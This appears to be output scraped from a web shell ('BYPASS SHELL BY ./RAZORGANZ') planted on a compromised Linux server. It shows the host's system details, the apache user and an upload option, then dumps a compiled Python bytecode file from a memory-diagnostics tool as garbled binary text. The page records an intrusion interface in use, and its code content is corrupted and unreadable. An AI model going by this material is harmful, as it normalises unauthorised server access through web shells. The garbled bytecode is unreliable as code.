BYPASS SHELL BY ./RAZORGANZ
Server: nginx/1.20.1
System: Linux iZdzfnv9mwfppeZ 5.10.134-19.2.al8.x86_64 #1 SMP Wed Oct 29 22:47:09 CST 2025 x86_64
User: apache (48)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: //usr/local/sysak/.sysak_components/tools/skleak_utils.pyo
�
�]ic@s�ddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZddlmZddlm
Z
mZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZejdejdd�eje�ZeZdZej �dkrydGHej!d�nyddlm"Z"e"Z#Wn2e$k
r�ej%d4kZ&e&r�ene	Z#nXed�j'Z(ed�Z)e)jZ*e
e*_+e
e
e	e	e#fe*_,e)j-Z.e
e._+e
e
fe._,e)j/Z0e	e0_1e
e
ee�fe0_,ej2dd�Z3da4d�Z5d�Z6d�Z7d�Z8d�Z9d�Z:d �Z;d!�Z<d"�Z=d#�Z>d$�Z?d%�Z@eed&�ZAd'�ZBdd(�ZCddlZddlZejDdd)kr7d*�ZEn	d+�ZEd,�ZFd-�ZGd.eHed/�ZIdeHd0�ZJddeHd1�ZKd2�ZLd3�ZMdS(5i����N(tTimer(tc_int(tc_size_t(tc_ulong(tc_ubyte(tc_void_ptc_char_p(t
c_longlong(tCDLL(tPOINTER(tcast(t
MAP_SHARED(t	PROT_READ(tPAGESIZEtleveltformats4%(asctime)s - %(name)s - %(levelname)s - %(message)sis+This program must be run as root. Aborting.i(t	c_ssize_tii tSYSAK_WORK_PATHtcCsettd�atgtj_ttj_tgtj_ttj_tgtj	_dtj	_tS(Ns/tools/libpodinfo.so(Rt	work_pathtpodinfo_libRtCGetPodInfobyIDorNameorUidtargtypestrestypetCGetContainersOfPodRtSetLogLeveltNone(((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytset_podinfo_lib@scCsytjd�|jd�}tj|�}|sJd|GHtjd�n|jd�}tj|�}tjd�|S(s,获取Pod中的容器信息

    Args:
        pod_name (str): Pod的名称/ID/UID

    Returns:
        [
            {
                "Id"              string
                "PodName"         string
                "PodId"           string
                "Pid"             int
                "Namespace"       string
                "PodCgroup"       string
                "ContainerCgroup" string
                "ContainerName"   string
                "Image"           string
                "PodIp"           string
            }
        ]
    isutf-8s'Failed to get containers info of pod %sii(	RRtencodeRtsystexittdecodetjsontloads(tpod_nametrestinfos((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_containers_of_podLs
	
cCsytjd�|jd�}tj|�}|sJd|GHtjd�n|jd�}tj|�}tjd�|S(s!获取Pod的信息

    Args:
        pod_name (str): Pod的名称/ID/UID

    Returns:
        {
            "Id": "Pod ID",
            "Uid": "Pod UID",
            "Name": "Pod Name",
            "Namespace": "Pod Namespace",
            "CgroupParent": "Pod CgroupPath"
        }
    isutf-8sFailed to get pod info of %sii(	RRRRRRRR R!(R"R#tinfo((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_pod_infops
	
cCs(tjd�}|dkr$d}n|S(s�读取环境变量 ROOT_DIR
    1. 如果环境变量存在则使用环境变量;
    2. 如果环境变量不存在默认为 /
    tROOT_DIRt/N(tostgetenvR(troot_dir((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt
get_root_path�s	cCs2|jd�r|d}ntjjt�|�S(NR)i(t
startswithR*tpathtjoinR-(R/((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt
get_real_path�s
cCs$tjjtd��rtStSdS(sCIs cgroup v1 or v2

    Returns:
        _type_: _description_
    s!/sys/fs/cgroup/cgroup.controllersN(R*R/texistsR1tFalsetTrue(((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytis_cgroup_v1�scCs!t�rtd�Std�SdS(sEGet memory root path

    Returns:
        _type_: _description_
    s/sys/fs/cgroup/memorys/sys/fs/cgroupN(R5R1(((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytmemory_cgroup_root�s	
cCseyt|�tSWntk
r%nXy!ddl}|j|�tSWnttfk
r`nXtS(s{Check if a string is a number

    Args:
        s (_type_): _description_

    Returns:
        _type_: _description_
    i����N(tfloatR4t
ValueErrortunicodedatatnumerict	TypeErrorR3(tsR9((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt	is_number�s	


cCsZt|�dkr(t|�dkr(tStjjtd�t|d�d�rVtStS(s Check if hugepagesz is supportediis#/sys/kernel/mm/hugepages/hugepages-tkB(tintR3R*R/R2R1tstrR4(t
hugepagesz((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pythugepagesz_supported�s$	!cCsUtd�}||d7}t|d�}t|j�j��}|t|�}|S(Ns#/sys/kernel/mm/hugepages/hugepages-skB/nr_hugepagestr(R1topenR?treadtstrip(thugesizethugepathtfdR#((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_hugepage_used�scCs�ttd�d���}|j�}d}xq|D]i}d|krIq1nd|kr[q1n|j�jd�}t|dj�j�d�}||7}q1W|dSWdQXdS(	s<获取系统中的 Vmalloc 内存使用情况,单位为 KBs/proc/vmallocinfoRCitvmallocspages=iiN(RDR1t	readlinesRFtsplitR?(tftlinestpagestlineR#((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_vmalloc_used�s
 c
Cs�d�}|�}|dkr"|Sd}tj|�j�jd�}d}x�|D]�}|j�}t|�dkr}qSn|jd�dj�}|jd�dj�}|jd�dj�}t|d	�t|d	�}	||	7}qSW|d
S(sB获取系统预留内存(Reserved Memory)大小,单位为 KBcSs�d}tj|�j�j�}t|�dkr7dS|j�jd�d}|j�j�}t|�dkrxdS|dj�d }t|�S(s%从 dmesg 中获取预留内存大小s/dmesg | grep -w 'Memory:' | grep -w 'reserved' iitreservedii����(R*tpopenRERFtlenRMR?(tcmdtretR#((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_dmesg_reserved_mem�sisUcat /proc/iomem | grep -wE 'Reserved|Crash kernel|Kernel code|Kernel data|Kernel bss's
i
t:t-iii(R*RTRERMRFRUR?(
RXR#RVRWttotalRQtaddrtstarttendtsize((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_reserved_mem�s"		
cCs�t|�}|r<|dkr/dt|d�S|d}n|dkr�|rcdt|d
d�Sd|t|dd�fSnV|dkr�|r�dt|dd�Sd	|t|dd�fSnd
t|d�SdS(Nis%s Biis%s GBs
%s KB (%s GB)i
s%s MBs
%s KB (%s MB)s%s KBiiPiii((R?tround(tvaluetsimpletis_bytes((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytformat_units
cCs,tjj|�r$tj|tj�r$t|d���}tj|j��j}|dkradSt	d|t
t|j�d�}|tkr�dSt
|tdt�}t|�}t||t|tt���}|dkr�t||�dSt|�jd�}t||�|SWdQXndSdS(s6使用 mincore 系统调用计算文件的缓存大小RCiiN(R*R/tisfiletaccesstR_OKRDtfstattfilenotst_sizet_mmapRRt
MAP_FAILEDR?R
Rt_mincoreR
R	t_munmaptlisttcount(tfilenameRNR_R\tnr_pagestvecRWtcached((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytcal_cache_size1s$'!
!


c	Cs-d\}}}d}t|t�r3|j�}ntj|dtjdtj�}|dk	rxt|d�|g�nd}z^y2|r�|j�n|j	�\}}|j
}Wn%tk
r�}d}t|�}nXWd|r�|j�nXt|t
�r|jd�}n|}||j�|fS(	NiRtstdouttstderrcSs
|j�S(N(tkill(tprocess((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt<lambda>Qsi����sutf-8(iRR(t
isinstanceR@RMt
subprocesstPopentPIPERRR]tcommunicatet
returncodet	ExceptiontcanceltbytesRRF(	RVttimeouttcodetresultterrortoutputRzttimerte((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytrun_cmdIs,!$

icCs t|t�r|jd�S|S(Nsutf-8(R|R@R(R<((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt
to_unicodeos
cCs t|t�r|jd�S|S(Nsutf-8(R|R�R(R<((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyR�vs
cCsSt|�}d}x:|D]2}tj|�dkrA|d7}q|d7}qW|S(s*计算字符串在终端输出时的宽度itWFii(R�R9teast_asian_width(R<twidthtchar((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytget_display_width|s

cCsVt|�}d}x0|D](}tj|�dkr|d7}qqW|j||�S(s!左对齐字符串并填充空格iR�i(R�R9R�tljust(R<R�tw_countR�((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytdo_ljust�s
i2cCs4d}|s!|d|d7}n|jd�}g}x�|D]�}t|�|dkr�d}xH|D]@}	t||	�|dkr�||	7}qf|j|�|	}qfW|r�|j|�q�q=|j|�q=Wd}g}
xV|D]N}t|d|�|dkr"|d|j�7}q�|
j|�|}q�W|rO|
j|�nx�|
D]�}|dt|�}|d}
||
}|r�|d|
dt|�d|dd7}qV|dd|
t|�d|d7}qVW|s|d|d7}n|r0tjd	d
kr(|jd�n|GHn|S(s打印一个居中的标题框RRZs
it it|s|
iisutf-8(RMR�tappendRFR�Rtversion_infoR(ttitlet	box_widthtshowthide_borderR#twordst	rel_wordstwordtcurrent_lineR�RORQttotal_spacet
left_spacetright_space((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytprint_title�sL










,,*cCs�d}|jd�}x�|D]�}|dkr�d}xY|j�D]K}t|d|�|krx|d|j�7}qA||d7}|}qAW|r�||d7}q�q||d7}qW|r�tjddkr�|jd�n|GHn|S(sC打印文本,如果 line_width 不为 -1 则限制每行的宽度Rs
i����R�iisutf-8(RMR�RFRR�R(ttextt
line_widthR�R#RORQR�R�((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt
print_text�s 

*c	s�d�}tjddkr"dnd}g|D]}t|�^q/}g|D]}t|�^qN�xNt|�D]@\}}|rs||dk	rst�|||��|<qsqsWx�|D]�}	x�t|	�D]x\}}
ttt|
���}|r2||dk	r2tt�||�||��|<q�t�||��|<q�Wq�Wt	��dt
��dd}|dk	r�|t|d|ddtd	t
�jd
�d
7}n|dd|d
7}dj�fd�t|�D��}
|d|
d7}|dd|d
7}x3|D]+}	g}xlt|	�D]^\}}
|rd||dk	rd||n�|}|tt|
��|�}|j|�q8Wtd�|D��}x�t|�D]�}|d7}xlt|�D]^\}}|t
|�kr|dt||�|�d7}q�|dd�|d7}q�W|d
7}q�WqW|dd|d
7}|r�tjddkr�|jd�n|GHn|S(sH打印一个带有标题的表格,并支持列宽限制与多行显示cSs�g}d}d}xZ|D]R}t|�}|||krW|j|�|}|}q||7}||7}qW|r�|j|�n|S(NRi(R�R�(R�t	max_widthROR�t
current_widthR�t
char_width((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytsplit_text_by_display_width�s

	
iiRiiR�R�R�s
t+RZs+
s | c3s(|]\}}t|�|�VqdS(N(R�(t.0titheader(t
col_widths(s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pys	<genexpr>ss| s |
css|]}t|�VqdS(N(RU(R�tcell((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pys	<genexpr>#sR�R�s |sutf-8N(RR�R�R�t	enumerateRtminR@tmaxtsumRUR�R3R4RFR0R�trangeR�R(theaderstdataR�tmax_col_lengthsR�R�R�R�R�trowtitemt
item_widthttotal_widtht
header_rowt
rows_to_printt
max_lengthROt	max_linest
line_indext
cell_lines((R�s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytprint_table�sZ	"
'"
 

#*cCs1tjddkr tj|�S|jd�SdS(Niithex(RR�R�tfromhexR(t
bytes_data((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytbytes_to_hex7s
cCstrtj|�ndS(s$在调试模式下记录异常信息N(tis_debugtloggert	exception(R�((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pytlog_exception_in_debug_modeEsI(NtloggingR*RR}R9R t	threadingRtctypesRRRRRRRRR	R
tmmapRRR
tbasicConfigtINFOt	getLoggert__name__R�R3R�Rt
jsonFormattgeteuidRRtc_off_ttImportErrortmaxsizet	is_64bitsRbRmtlibcRlRRtmunmapRotmincoreRntrestypesR+RRRR%R'R-R1R5R6R=RBRJRRR`ReRvR�R�R�R�R�R4R�R�R�R�R�(((s8/usr/local/sysak/.sysak_components/tools/skleak_utils.pyt<module>s�	

								$							
				%	 			7V